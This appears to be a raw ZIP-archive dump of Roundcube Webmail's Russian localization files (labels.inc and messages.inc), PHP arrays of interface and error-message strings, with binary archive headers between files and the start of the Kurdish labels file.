$labels['htmlmessage'] = 'Сообщение HTML';
$labels['messagepart'] = 'Часть';
$labels['digitalsig'] = 'Цифровая подпись';
$labels['dateformat'] = 'Формат даты';
$labels['timeformat'] = 'Формат времени';
$labels['prettydate'] = 'Красивые даты';
$labels['setdefault'] = 'Использовать по умолчанию';
$labels['autodetect'] = 'Определять автоматически';
$labels['language'] = 'Язык';
$labels['timezone'] = 'Часовой пояс';
$labels['pagesize'] = 'Строк на странице';
$labels['signature'] = 'Подпись';
$labels['dstactive'] = 'Летнее время';
$labels['showinextwin'] = 'Открыть сообщение в новом окне';
$labels['composeextwin'] = 'Создать в новом окне';
$labels['htmleditor'] = 'Создавать сообщения в HTML';
$labels['htmlonreply'] = 'только в ответ на сообщение в HTML';
$labels['htmlonreplyandforward'] = 'при пересылке или ответе на HTML сообщение';
$labels['htmlsignature'] = 'Подпись в HTML';
$labels['showemail'] = 'Показывать адрес электронной почты и имя адресата';
$labels['previewpane'] = 'Показать панель превью';
$labels['skin'] = 'Стиль оформления';
$labels['logoutclear'] = 'Очищать корзину при выходе';
$labels['logoutcompact'] = 'Сжать Входящие при выходе';
$labels['uisettings'] = 'Пользовательский интерфейс';
$labels['serversettings'] = 'Настройки сервера';
$labels['mailboxview'] = 'Вид почтового ящика';
$labels['mdnrequests'] = 'Уведомления о прочтении';
$labels['askuser'] = 'спросить перед отправкой';
$labels['autosend'] = 'отправлять автоматически';
$labels['autosendknown'] = 'отправлять уведомления контактам из адресной книги, в противном случае спросить';
$labels['autosendknownignore'] = 'отправлять уведомления только контактам из адресной книги, остальных игнорировать';
$labels['autosendtrusted'] = 'отправить квитанцию доверенным отправителям, в противном случае спросите меня';
$labels['autosendtrustedignore'] = 'отправить квитанцию доверенным отправителям, в противном случае игнорировать';
$labels['ignorerequest'] = 'пропустить запрос';
$labels['readwhendeleted'] = 'Помечать как прочитанное при удалении';
$labels['flagfordeletion'] = 'Помечать для удаления вместо удаления';
$labels['skipdeleted'] = 'Не показывать удаленные сообщения';
$labels['deletealways'] = 'Удалять сообщения, если не получается поместить их в корзину';
$labels['deletejunk'] = 'Удалять сообщения из папки СПАМ минуя Корзину';
$labels['showremoteimages'] = 'Показывать удаленные изображения';
$labels['allowremoteresources'] = 'Разрешить внешние ресурсы (изображения, стили)';
$labels['fromknownsenders'] = 'от известных отправителей';
$labels['fromtrustedsenders'] = 'от доверенных отправителей';
$labels['frommycontacts'] = 'от моих контактов';
$labels['always'] = 'всегда';
$labels['alwaysbutplain'] = 'всегда, кроме тех случаев, когда, ответ составлен обычным текстом';
$labels['showinlineimages'] = 'Показывать вложенные изображения внизу сообщения';
$labels['autosavedraft'] = 'Автосохранение черновика';
$labels['everynminutes'] = 'каждые $n минут';
$labels['refreshinterval'] = 'Обновить (проверить новые сообщения и т.п.)';
$labels['never'] = 'никогда';
$labels['immediately'] = 'немедленно';
$labels['messagesdisplaying'] = 'Отображение сообщений';
$labels['messagescomposition'] = 'Создание сообщений';
$labels['mimeparamfolding'] = 'Имена вложений';
$labels['2231folding'] = 'RFC 2231 (только для новейших программ)';
$labels['miscfolding'] = 'RFC 2047/2231  (наибольшая совместимость)';
$labels['2047folding'] = 'RFC 2047  (для старых программ)';
$labels['force7bit'] = 'Использовать MIME для 8-битных символов';
$labels['savelocalstorage'] = "Сохранить в локальном хранилище веб-обозревателя (временно)";
$labels['advancedoptions'] = 'Дополнительные настройки';
$labels['toggleadvancedoptions'] = 'Дополнительные параметры';
$labels['focusonnewmessage'] = 'Фокусировать окно браузера при новом сообщении';
$labels['checkallfolders'] = 'Проверять новые сообщения во всех папках';
$labels['displaynext'] = 'Показать следующую запись списка после удаления/перемещения';
$labels['defaultfont'] = 'Шрифт по умолчанию HTML сообщения';
$labels['mainoptions'] = 'Основные настройки';
$labels['browseroptions'] = 'Настройки обозревателя';
$labels['section'] = 'Раздел';
$labels['maintenance'] = 'Обслуживание';
$labels['newmessage'] = 'Новое сообщение';
$labels['signatureoptions'] = 'Опции подписи';
$labels['whenreplying'] = 'При ответе';
$labels['replyempty'] = 'не цитировать оригинальное сообщение';
$labels['replytopposting'] = 'начать новое сообщение перед цитируемым';
$labels['replytoppostingnoindent'] = 'начать новое сообщение перед цитируемым (без отступа)';
$labels['replybottomposting'] = 'начать новое сообщение после цитируемого';
$labels['replyremovesignature'] = 'Удалить подпись при ответе';
$labels['autoaddsignature'] = 'Автоматически добавлять подпись';
$labels['newmessageonly'] = 'только в новых сообщениях';
$labels['replyandforwardonly'] = 'только в ответах и пересылках';
$labels['insertsignature'] = 'Вставить подпись';
$labels['sigbelow'] = 'Поместить подпись после цитируемого сообщения';
$labels['sigseparator'] = 'Добавлять стандартный разделитель в подписи';
$labels['automarkread'] = 'Отметить сообщения как прочитанные';
$labels['afternseconds'] = 'через $n секунд';
$labels['reqmdn'] = 'Всегда запрашивать уведомление о доставке';
$labels['reqdsn'] = 'Всегда запрашивать уведомление о состоянии доставки';
$labels['replysamefolder'] = 'Помещать ответы в ту же папку, где находится оригинал';
$labels['defaultabook'] = 'Адресная книга по умолчанию';
$labels['autocompletesingle'] = 'Пропускать дополнительные адреса в автозавершении';
$labels['listnamedisplay'] = 'Выводить список контактов как';
$labels['contactformmode'] = 'Режим формы Контакта';
$labels['privatemode'] = 'Личный (домашний)';
$labels['businessmode'] = 'Бизнес (рабочий)';
$labels['collectedaddresses'] = 'Собранные контакты';
$labels['collectedrecipients'] = 'Собранные получатели';
$labels['collectedrecipientsopt'] = 'Сохранять получателей исходящей электронной почты в';
$labels['collectedsendersopt'] = 'Сохранять доверенных отправителей в';
$labels['trustedsenders'] = 'Надежные отправители';
$labels['spellcheckbeforesend'] = 'Проверять орфографию перед отправкой';
$labels['spellcheckoptions'] = 'Параметры проверки орфографии';
$labels['spellcheckignoresyms'] = 'Пропускать слова с символами';
$labels['spellcheckignorenums'] = 'Пропускать слова с цифрами';
$labels['spellcheckignorecaps'] = 'Пропускать слова из прописных букв';
$labels['addtodict'] = 'Добавить в словарь';
$labels['mailtoprotohandler'] = 'Зарегистрировать обработчик для ссылок mailto:';
$labels['standardwindows'] = 'Обрабатывать всплывающие окна как обычные';
$labels['forwardmode'] = 'Пересылка сообщений';
$labels['inline'] = 'в тексте';
$labels['asattachment'] = 'как вложение';
$labels['replyallmode'] = 'Действие по умолчанию кнопки [Ответить всем]';
$labels['replyalldefault'] = 'ответить всем';
$labels['replyalllist'] = 'ответить только в список рассылки (если найден)';
$labels['allmessages'] = 'все сообщения';
$labels['olderxdays'] = 'старше чем $x дней';
$labels['folder'] = 'Папка';
$labels['folders'] = 'Папки';
$labels['foldername'] = 'Имя папки';
$labels['subscribed'] = 'Подписан';
$labels['messagecount'] = 'Сообщения';
$labels['create'] = 'Создать';
$labels['createfolder'] = 'Создать новую папку';
$labels['managefolders'] = 'Управление папками';
$labels['specialfolders'] = 'Особые папки';
$labels['properties'] = 'Свойства';
$labels['folderproperties'] = 'Свойства папки';
$labels['parentfolder'] = 'Родительская папка';
$labels['location'] = 'Расположение';
$labels['info'] = 'Информация';
$labels['getfoldersize'] = 'Показать размер папки';
$labels['changesubscription'] = 'Изменить подписку';
$labels['foldertype'] = 'Тип каталога';
$labels['personalfolder'] = 'Приватный каталог';
$labels['otherfolder'] = 'Каталог другого пользователя';
$labels['sharedfolder'] = 'Совместный каталог';
$labels['findfolders'] = 'Найти папки';
$labels['findcontacts'] = 'Поиск контактаов';
$labels['findmail'] = 'Поиск сообщений';
$labels['namespace.personal'] = 'Персональные';
$labels['namespace.other'] = 'Других пользователей';
$labels['namespace.shared'] = 'Общие';
$labels['dualuselabel'] = 'Может содержать только';
$labels['dualusemail'] = 'сообщения';
$labels['dualusefolder'] = 'папки';
$labels['generate'] = 'Создать';
$labels['encryptioncreatekey'] = 'Создать новую пару ключей';
$labels['openmailvelopesettings'] = 'Открыть настройки Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'У вас есть $nr подходящих закрытых PGP ключей, хранящиеся на вашей связке ключей Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'У этого идентификатора отправителя еще нет закрытого ключа PGP, хранящегося расширении Mailvelope. Вы хотите создать ключ для того, чтобы включить зашифрованный обмен сообщениями?';
$labels['encryption'] = 'Шифрование';
$labels['mailvelopeoptions'] = 'Mailvelope опции';
$labels['mailvelopemainkeyring'] = 'Использовать шифрование Mailvelope';
$labels['mailvelopenotfound'] = 'Расширение Mailvelope не включено / не установлено в вашем браузере.';
$labels['sortby'] = 'Сортировать по';
$labels['sortasc'] = 'Возрастанию';
$labels['sortdesc'] = 'Убыванию';
$labels['undo'] = 'Отмена';
$labels['installedplugins'] = 'Установленные дополнения';
$labels['plugin'] = 'Дополнение';
$labels['version'] = 'Версия';
$labels['source'] = 'Источник';
$labels['destination'] = 'Назначение';
$labels['license'] = 'Лицензия';
$labels['support'] = 'Поддержка';
$labels['savedsearches'] = 'Сохранённые запросы';
$labels['dateformatY'] = 'ГГГГ';
$labels['dateformaty'] = 'ГГ';
$labels['dateformatm'] = 'ММ';
$labels['dateformatd'] = 'ДД';
$labels['dateformatj'] = 'Д';
$labels['dateformatn'] = 'М';
$labels['B'] = 'Б';
$labels['KB'] = 'КБ';
$labels['MB'] = 'МБ';
$labels['GB'] = 'ГБ';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Английский';
$labels['westerneuropean'] = 'Западноевропейский';
$labels['easterneuropean'] = 'Восточноевропейский';
$labels['southeasterneuropean'] = 'Юго-Восточноевропейский';
$labels['baltic'] = 'Прибалтийский';
$labels['cyrillic'] = 'Кириллица';
$labels['arabic'] = 'Арабский';
$labels['greek'] = 'Греческий';
$labels['hebrew'] = 'Иврит';
$labels['turkish'] = 'Турецкий';
$labels['nordic'] = 'Скандинавский';
$labels['thai'] = 'Тайский';
$labels['celtic'] = 'Кельтский';
$labels['vietnamese'] = 'Вьетнамский';
$labels['japanese'] = 'Японский';
$labels['korean'] = 'Корейский';
$labels['chinese'] = 'Китайский';
$labels['arialabeltopnav'] = 'Управление окном';
$labels['arialabeltasknav'] = 'Задачи приложения';
$labels['arialabeltoolbar'] = 'Панель инструментов приложения';
$labels['arialabellistnav'] = 'Навигация по списку';
$labels['arialabelactivetask'] = 'Активная задача';
$labels['arialabelmessagessearchfilter'] = 'Фильтр перечня сообщений';
$labels['arialabelmailsearchform'] = 'Форма поиска в сообщении';
$labels['arialabelcontactsearchform'] = 'Форма поиска контактов';
$labels['arialabelmailquicksearchbox'] = 'Ввод поискового запроса адресов эл.почты';
$labels['arialabelquicksearchbox'] = 'Поисковый запрос';
$labels['arialabelfoldersearchfilter'] = 'Фильтр перечня папок';
$labels['arialabelfoldersearchform'] = 'Форма поиска папок';
$labels['arialabelfolderlist'] = 'Выбор папки эл.почты';
$labels['arialabelmessagelist'] = 'Перечень сообщений эл.почты';
$labels['arialabelmailpreviewframe'] = 'Предпросмотр сообщений';
$labels['arialabelmailboxmenu'] = 'Меню действий над папкой';
$labels['arialabellistselectmenu'] = 'Меню выделения списка';
$labels['arialabelthreadselectmenu'] = 'Меню списка обсуждений';
$labels['arialabelmessagelistoptions'] = 'Параметры отображение списка сообщений и упорядочивания';
$labels['arialabelmailimportdialog'] = 'Диалог импорта сообщения';
$labels['arialabelmessagenav'] = 'Навигация по сообщениям';
$labels['arialabelmessagebody'] = 'Тело сообщения';
$labels['arialabelmessageactions'] = 'Действия над сообщением';
$labels['arialabelcontactquicksearch'] = 'Форма поиска контактов';
$labels['arialabelcontactsearchbox'] = 'Ввод поискового запроса контакта';
$labels['arialabelmessageheaders'] = 'Заголовки сообщений';
$labels['arialabelforwardingoptions'] = 'Опции пересылки';
$labels['arialabelreplyalloptions'] = 'Параметры ответа всем';
$labels['arialabelmoremessageactions'] = 'Дополнительные действия с сообщением';
$labels['arialabelmorecontactactions'] = 'Дополнительные действия с контактом';
$labels['arialabelmarkmessagesas'] = 'Отметить выделенные сообщения как...';
$labels['arialabelcomposeoptions'] = 'Параметры создания';
$labels['arialabelresponsesmenu'] = 'Меню заранее подготовленных ответов';
$labels['arialabelattachmentuploadform'] = 'Форма выгрузки вложения';
$labels['arialabelattachmentmenu'] = 'Настройки вложений';
$labels['arialabelmailtomenu'] = 'Параметры адреса';
$labels['arialabelattachmentpreview'] = 'Предпросмотр вложений';
$labels['ariasummarycomposecontacts'] = 'Список контактов и групп для выбора в качестве получателей';
$labels['arialabelcontactexportoptions'] = 'Параметры экспорта контактов';
$labels['arialabelabookgroupoptions'] = 'Параметры адресной книги/группы';
$labels['arialabelpreferencesform'] = 'Форма настроек';
$labels['arialabelidentityeditfrom'] = 'Форма редактирования личных данных';
$labels['arialabelresponseeditfrom'] = 'Форма редактирования ответа';
$labels['arialabelsearchterms'] = 'Поисковый запросы';
$labels['arialabeldropactionmenu'] = 'Меню действий при перетаскивании';
$labels['arialabelheadersmenu'] = 'Меню добавления получателя (Заголовок)';
$labels['arialabelimagetools'] = 'Инструменты работы с изображениями';
$labels['helplistnavigation'] = 'Клавиши навигации по списку';
$labels['helplistkeyboardnavigation'] = "Стрелки вверх/вниз: Перемещает фокус по строкам/выделение.
Пробел: Выделяет строку на которой находится фокус.
Shift + вверх/вниз: Выделяет дополнительную строку выше/ниже.
Ctrl + пробел: Добавляет/удаляет строку на которой находится фокус в/из выделения.";
$labels['helplistkeyboardnavmessages'] = "Стрелки вправо/влево: раскрыть/свернуть сообщения обсуждения (только в режиме просмотра обсуждений).
Enter: Открыть выделенное сообщение.
Delete: Переместить выбранные сообщения в Корзину.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Открыть выбранный контакт.";
PK
h�\A���bb'program/localization/ru_RU/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Произошла ошибка!';
$messages['loginfailed']  = 'Неудачная попытка входа.';
$messages['cookiesdisabled'] = 'Ваш браузер не принимает cookie.';
$messages['sessionerror'] = 'Ваша сессия устарела.';
$messages['cookiesmismatch'] = 'Обнаружено несоответствие cookie. Очистите их в браузере.';
$messages['storageerror'] = 'Неудачное соединение с IMAP сервером';
$messages['servererror'] = 'Ошибка сервера!';
$messages['servererrormsg'] = 'Ошибка сервера: $msg';
$messages['accountlocked'] = 'Слишком много неудачных попыток входа. Попробуйте позже.';
$messages['connerror'] = 'Ошибка соединения (Сбой подключения к серверу)!';
$messages['dberror'] = 'Ошибка базы данных!';
$messages['dbconnerror'] = 'Невозможно подключиться к базе данных.';
$messages['windowopenerror'] = 'Всплывающее окно было заблокировано!';
$messages['requesttimedout'] = 'Превышено время ожидания запроса';
$messages['errorreadonly'] = 'Невозможно выполнить операцию. Папка доступна только для чтения.';
$messages['errornoperm'] = 'Невозможно выполнить операцию. Доступ запрещён.';
$messages['erroroverquota'] = 'Невозможно выполнить операцию. Нет свободного места на диске.';
$messages['erroroverquotadelete'] = 'Нет свободного места на диске. Используйте SHIFT+DEL для удаления сообщения.';
$messages['invalidrequest'] = 'Неверный запрос! Информация не сохранена.';
$messages['invalidhost'] = 'Неверное имя сервера.';
$messages['nomessagesfound'] = 'Сообщений не найдено';
$messages['loggedout'] = 'Ваша сессия успешно завершена. Всего доброго!';
$messages['mailboxempty'] = 'Почтовый ящик пуст';
$messages['nomessages'] = 'Сообщения отсутствуют';
$messages['refreshing'] = 'Обновление...';
$messages['loading'] = 'Загрузка...';
$messages['uploading'] = 'Файл загружается…';
$messages['attaching'] = 'Добавление вложения...';
$messages['uploadingmany'] = 'Загрузка файлов...';
$messages['loadingdata'] = 'Загрузка данных...';
$messages['checkingmail'] = 'Проверка новых сообщений...';
$messages['sendingmessage'] = 'Отправка сообщения...';
$messages['messagesent'] = 'Сообщение отправлено.';
$messages['savingmessage'] = 'Сохранение сообщения...';
$messages['messagesaved'] = 'Сохранено в Черновиках.';
$messages['successfullysaved'] = 'Сохранено.';
$messages['savingresponse'] = 'Сохранение текста ответа...';
$messages['deleteresponseconfirm'] = 'Вы действительно хотите удалить этот текст ответа?';
$messages['nocontactselected'] = 'Вы не выбрали контакт.';
$messages['addedsuccessfully'] = 'Контакт добавлен в адресную книгу.';
$messages['contactexists'] = 'Контакт с этим адресом e-mail уже существует.';
$messages['contactnameexists'] = 'Контакт с таким именем уже существует.';
$messages['blockedimages'] = 'В целях безопасности загрузка изображений заблокирована.';
$messages['blockedresources'] = 'В целях безопасности загрузка внешних ресурсов заблокирована.';
$messages['suspiciousemail'] = 'Это сообщение содержит подозрительные адреса электронной почты, которые могут быть мошенническими.';
$messages['bccemail'] = 'Переадресованное сообщение(я) содержит конфиденциальных получателей (Bcc).';
$messages['bouncehint'] = 'Сообщение будет отправлено без каких-либо изменений, то есть с использованием исходного текста, заголовков и получателей.';
$messages['encryptedmessage'] = 'Сообщение зашифровано и не может быть показано. Обратитесь к администратору сервера.';
$messages['externalmessagedecryption'] = 'Это зашифрованное сообщение, оно может быть расшифровано с помощью расширением вашего браузера.';
$messages['nopubkeyfor'] = 'Не найден действительный открытый ключ для $email';
$messages['nopubkeyforsender'] = 'Отсутствует действительный открытый ключ для удостоверения вашей личности отправителя. Вы хотите зашифровать сообщение только для получателей?';
$messages['encryptnoattachments'] = 'Уже загруженные вложения не могут быть зашифрованы. Пожалуйста, повторно добавьте их в редакторе шифрования.';
$messages['searchpubkeyservers'] = 'Вы хотите выполнить поиск серверов открытых ключей для отсутствующих ключей?';
$messages['encryptpubkeysfound'] = 'Следующие открытые ключи были найдены:';
$messages['keyservererror'] = 'Не удалось получить ключ от сервера ключей.';
$messages['keyimportsuccess'] = 'Открытый ключ $key успешно импортирован в хранилище ключей.';
$messages['nocontactsfound'] = 'Контакты не найдены.';
$messages['contactnotfound'] = 'Требуемый контакт не найден.';
$messages['contactsearchonly'] = 'Для просмотра контактов из выбранной адресной книги необходимо использовать форму поиска.';
$messages['sendingfailed'] = 'Не удалось отправить сообщение.';
$messages['senttooquickly'] = 'Вы должны подождать $sec сек. для отправки сообщения.';
$messages['errorsavingsent'] = 'Произошла ошибка при сохранении отправленного сообщения.';
$messages['errorsaving'] = 'В процессе сохранения произошла ошибка.';
$messages['errormoving'] = 'Не удалось переместить сообщение(я).';
$messages['errorcopying'] = 'Не удалось скопировать сообщение(я).';
$messages['errordeleting'] = 'Не удалось удалить сообщение(я).';
$messages['errormarking'] = 'Не удалось пометить сообщение(я).';
$messages['alerttitle'] = 'Внимание';
$messages['confirmationtitle'] = 'Внимание';
$messages['deletecontactconfirm']  = 'Вы действительно хотите удалить выделенные контакты?';
$messages['deletegroupconfirm']  = 'Вы действительно хотите удалить выделенную группу?';
$messages['deletemessagesconfirm'] = 'Вы действительно хотите удалить выбранные сообщения?';
$messages['deletefolderconfirm']  = 'Вы действительно хотите удалить эту папку?';
$messages['movefolderconfirm']  = 'Вы действительно хотите удалить эту папку?';
$messages['purgefolderconfirm']  = 'Вы действительно хотите удалить все сообщения в этой папке?';
$messages['contactdeleting'] = 'Удаление контакта(ов)...';
$messages['groupdeleting'] = 'Удаление группы...';
$messages['folderdeleting'] = 'Удаление папки...';
$messages['foldermoving'] = 'Перемещение папки...';
$messages['foldersubscribing'] = 'Подписать папку...';
$messages['folderunsubscribing'] = 'Отписать папку...';
$messages['formincomplete'] = 'Заполнены не все поля формы.';
$messages['noemailwarning'] = 'Пожалуйста, введите корректный адрес электронной почты.';
$messages['nonamewarning']  = 'Пожалуйста, введите имя.';
$messages['nopagesizewarning'] = 'Пожалуйста, введите размер страницы.';
$messages['nosenderwarning'] = 'Пожалуйста, введите адрес электронной почты отправителя.';
$messages['recipientsadded'] = 'Получатель(и) успешно добавлен.';
$messages['norecipientwarning'] = 'Пожалуйста, введите хотя бы одного получателя.';
$messages['disclosedrecipwarning'] = 'Все получатели будут видеть адреса друг друга. Чтобы избежать этого и защитить свою частную жизнь, вы можете использовать поле BCC.';
$messages['disclosedreciptitle'] = 'Слишком много внешних получателей';
$messages['nosubjectwarning']  = 'Поле Тема не заполнено. Хотите заполнить его сейчас?';
$messages['nosubjecttitle']  = 'Без темы';
$messages['nobodywarning'] = 'Отправить сообщение без текста?';
$messages['notsentwarning'] = 'Текущее сообщение не отправлено и не сохранено. Удалить его?';
$messages['restoresavedcomposedata'] = 'Найдено ранее составленное, но неотправленное сообщение.\n\nТема: $subject\nСохранено: $date\n\nХотите восстановить это сообщение?';
$messages['nosearchname'] = 'Пожалуйста, введите имя или адрес E-Mail';
$messages['notuploadedwarning'] = 'Вложения загружены не полностью. Подождите или отмените загрузку.';
$messages['searchsuccessful'] = 'Найденных сообщений - $nr';
$messages['contactsearchsuccessful'] = '$nr контактов найдено.';
$messages['searchnomatch'] = 'Ничего не найдено.';
$messages['searching'] = 'Поиск...';
$messages['checking'] = 'Проверка...';
$messages['stillsearching'] = 'Поиск...';
$messages['nospellerrors'] = 'Орфографических ошибок не найдено.';
$messages['folderdeleted'] = 'Папка удалена.';
$messages['foldersubscribed'] = 'Папка подписана';
$messages['folderunsubscribed'] = 'Папка отписана';
$messages['folderpurged'] = 'Папка очищена.';
$messages['folderexpunged'] = 'Папка сжата.';
$messages['deletedsuccessfully'] = 'Удалено.';
$messages['converting'] = 'Удаление форматирования сообщения...';
$messages['messageopenerror'] = 'Невозможно загрузить сообщение с сервера.';
$messages['filelinkerror'] = 'Сбой добавления вложения.';
$messages['fileuploaderror'] = 'Ошибка загрузки файла.';
$messages['csvfilemismatch'] = 'Импорт нескольких файлов CSV с разными полями не поддерживается.';
$messages['filesizeerror'] = 'Загруженный файл больше максимального размера в $size.';
$messages['filecounterror'] = 'Вы можете загрузить максимум $count файлов одновременно.';
$messages['msgsizeerror'] = 'Не удалось прикрепить файл. Превышен максимальный размер сообщения: ($size).';
$messages['msgsizeerrorfwd'] = 'Превышен максимальный размер сообщения ($size). $num сообщение(й) не было(и) прикреплено(ы).';
$messages['copysuccess'] = 'Успешно скопировано $nr контактов.';
$messages['movesuccess'] = 'Успешно перемещено $nr контактов.';
$messages['copyerror'] = 'Контакты не скопированы.';
$messages['moveerror'] = 'Контакты не перемещены.';
$messages['sourceisreadonly'] = 'Данный источник адресов только для чтения.';
$messages['errorsavingcontact'] = 'Невозможно сохранить адрес контакта.';
$messages['movingmessage'] = 'Перемещение сообщения(й)…';
$messages['copyingmessage'] = 'Копирование сообщения(й)...';
$messages['copyingcontact'] = 'Копирование контакта(ов)...';
$messages['movingcontact'] = 'Перемещение контакта(ов)...';
$messages['deletingmessage'] = 'Удаление сообщения(й)...';
$messages['markingmessage'] = 'Выделение сообщения(й)...';
$messages['addingmember'] = 'Добавление контакта(ов) в группу...';
$messages['removingmember'] = 'Удаление контакта(ов) из группы...';
$messages['receiptsent'] = 'Уведомление о прочтении отправлено.';
$messages['errorsendingreceipt'] = 'Уведомление о прочтении не отправлено.';
$messages['deleteidentityconfirm'] = 'Вы на самом деле хотите удалить эту сущность?';
$messages['nodeletelastidentity'] = 'Вы не можете удалить этот профиль, он у вас последний.';
$messages['forbiddencharacter'] = 'Имя папки содержит недопустимые символы.';
$messages['selectimportfile'] = 'Выберите файл для загрузки.';
$messages['addresswriterror'] = 'Выбранная адресная книга недоступна для записи.';
$messages['contactaddedtogroup'] = 'Контакты добавлены в эту группу.';
$messages['contactremovedfromgroup'] = 'Контакты удалены из этой группы.';
$messages['nogroupassignmentschanged'] = 'Распределение по группам не изменено.';
$messages['importwait'] = 'Импортирование, пожалуйста, подождите...';
$messages['importformaterror'] = 'Ошибка импорта! Загруженный файл имеет неизвестный  формат данных.';
$messages['importconfirm'] = '<b>Успешно импортировано $inserted контактов</b>';
$messages['importconfirmskipped'] = '<b>Пропущено $skipped существующих записей</b>';
$messages['importmessagesuccess'] = '$nr сообщений успешно импортировано.';
$messages['importmessageerror'] = 'Сбой импорта! Загруженный файл не является файлом сообщения или почтового ящика';
$messages['opnotpermitted'] = 'Действие запрещено!';
$messages['nofromaddress'] = 'В выбранном профиле не хватает адреса электронной почты.';
$messages['editorwarning'] = 'Переключение типа редактора может привести к потере  форматирования текста. Продолжить?';
$messages['httpreceivedencrypterror'] = 'На сервере возникла неизбежная ошибка. Срочно свяжитесь с Вашим администратором. <b>Ваше сообщение не может быть отправлено.</b>';
$messages['smtpconnerror'] = 'SMTP ошибка ($code): Сбой соединения с сервером.';
$messages['smtpautherror'] = 'SMTP ошибка ($code): Ошибка авторизации.';
$messages['smtpfromerror'] = 'SMTP ошибка ($code): Невозможно установить отправителя "$from" ($msg)';
$messages['smtptoerror'] = 'SMTP ошибка ($code): Невозможно добавить получателя "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP ошибка: Невозможно обработать список получателей.';
$messages['smtputf8error'] = 'Ошибка SMTP: сервер не поддерживает Unicode в адресе электронной почты.';
$messages['smtpsizeerror'] = 'Ошибка SMTP: Размер сообщения превышает ограничения сервера ($limit)';
$messages['smtperror'] = 'SMTP ошибка: $msg';
$messages['emailformaterror'] = 'Неверный адрес: $email';
$messages['toomanyrecipients'] = 'Слишком много получателей. Уменьшите их количество до $max.';
$messages['maxgroupmembersreached'] = 'Размер группы больше максимально разрешенного - $max.';
$messages['internalerror'] = 'Произошла внутренняя ошибка. Попробуйте ещё раз.';
$messages['contactdelerror'] = 'Не возможно удалить контакт(ы).';
$messages['contactdeleted'] = 'Контакт(ы) успешно удален(ы).';
$messages['contactrestoreerror'] = 'Не удалось восстановить удалённый(е) контакт(ы).';
$messages['contactrestored'] = 'Контакт(ы) успешно восстановлен(ы).';
$messages['groupdeleted'] = 'Группа успешно удалена.';
$messages['grouprenamed'] = 'Группа успешно переименована.';
$messages['groupcreated'] = 'Группа успешно создана.';
$messages['savedsearchdeleted'] = 'Сохранённый запрос успешно удалён.';
$messages['savedsearchdeleteerror'] = 'Не удалось удалить сохранённый запрос.';
$messages['savedsearchcreated'] = 'Сохранённый запрос успешно создан.';
$messages['savedsearchcreateerror'] = 'Не удалось создать сохранённый запрос.';
$messages['messagedeleted'] = 'Сообщение(я) успешно удалено(ы).';
$messages['messagemoved'] = 'Сообщение(я) успешно перемещено(ы).';
$messages['messagemovedtotrash'] = 'Сообщение(я) успешно перемещено в корзину.';
$messages['messagecopied'] = 'Сообщение(я) успешно скопировано(ы).';
$messages['messagemarked'] = 'Сообщение(я) успешно выделено(ы).';
$messages['autocompletechars'] = 'Введите, как минимум, $min символов для автодополнения.';
$messages['autocompletemore'] = 'Поиск возвратил слишком много результатов. Пожалуйста, уточните.';
$messages['namecannotbeempty'] = 'Имя не может быть пустым.';
$messages['nametoolong'] = 'Слишком длинное имя.';
$messages['namedotforbidden'] = 'Имя папки не может начинаться с точки';
$messages['folderupdated'] = 'Папка обновлена.';
$messages['foldercreated'] = 'Папка создана.';
$messages['invalidimageformat'] = 'Неверный формат изображения.';
$messages['mispellingsfound'] = 'В сообщении обнаружены орфографические ошибки.';
$messages['parentnotwritable'] = 'Не удается создать/переместить папку в выбранную родительскую папку. Нет прав доступа.';
$messages['messagetoobig'] = 'Часть сообщения слишком велика для обработки.';
$messages['attachmentvalidationerror'] = 'Это вложение подозрительно, потому что его тип не соответствует типу, объявленному в сообщении. Если Вы не доверяете отправителю, Вы не должны открывать его в браузере, потому что оно может содержать вредоносное содержимое.<br/><br/><em>Ожидаемое: $expected; найденое: $detected</em>';
$messages['noscriptwarning'] = 'Внимание: Данному сервису веб-почты требуется Javascript! Для того, чтобы его использовать необходимо включить поддержку Javascript в настройках вашего браузера.';
$messages['messageissent'] = 'Сообщение уже отправлено, но еще не сохранено. Вы хотите сохранить его?';
$messages['errnotfound'] = 'Файл не найден';
$messages['errnotfoundexplain'] = 'Требуемый ресурс не найден';
$messages['errfailedrequest'] = 'Неудавшийся запрос';
$messages['errauthorizationfailed'] = 'Сбой авторизации';
$messages['errunauthorizedexplain'] = 'Не удалось проверить, что вы имеете право доступа к этой услуге!';
$messages['errrequestcheckfailed'] = 'Запрос не прошел проверку';
$messages['errcsrfprotectionexplain'] = "Для вашей безопасности, доступ к этому ресурсу защищен от CSRF.\nЕсли вы видите это, вы, вероятно, не вышли, прежде чем покинуть веб-приложения.\n\nДля продолжения теперь потребуется действия человека.";
$messages['errcontactserveradmin'] = 'Обратитесь к администратору сервера.';
$messages['clicktoresumesession'] = 'Нажмите здесь, чтобы возобновить предыдущий сеанс';
$messages['errcomposesession'] = 'Ошибка сеанса написания письма';
$messages['errcomposesessionexplain'] = 'Требуемый сеанс написания письма не найден.';
$messages['clicktocompose'] = 'Нажмите для создания нового сообщения';
$messages['nosupporterror'] = 'Эта функция не поддерживается Вашим веб-браузером.';
$messages['siginserted'] = 'Подпись вставлена успешно.';
$messages['responseinserted'] = 'Ответ успешно вставлен.';
$messages['noresponsesavailable'] = 'Нет доступных ответов';
$messages['listempty'] = 'Список пуст.';
$messages['listusebutton'] = 'Используйте кнопку Создать, чтобы добавить новую запись.';
$messages['keypaircreatesuccess'] = 'Новая пара ключей была создана для $identity.';
$messages['emptyattachment'] = 'Это вложение похоже на пустое <br>Пожалуйста свяжитесь с отправителем для уточнения.';
$messages['oauthloginfailed'] = 'Ошибка OAuth авторизации. Пожалуйста, попробуйте еще раз.';
PK
h�\��a�z9z9"program/localization/ku/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
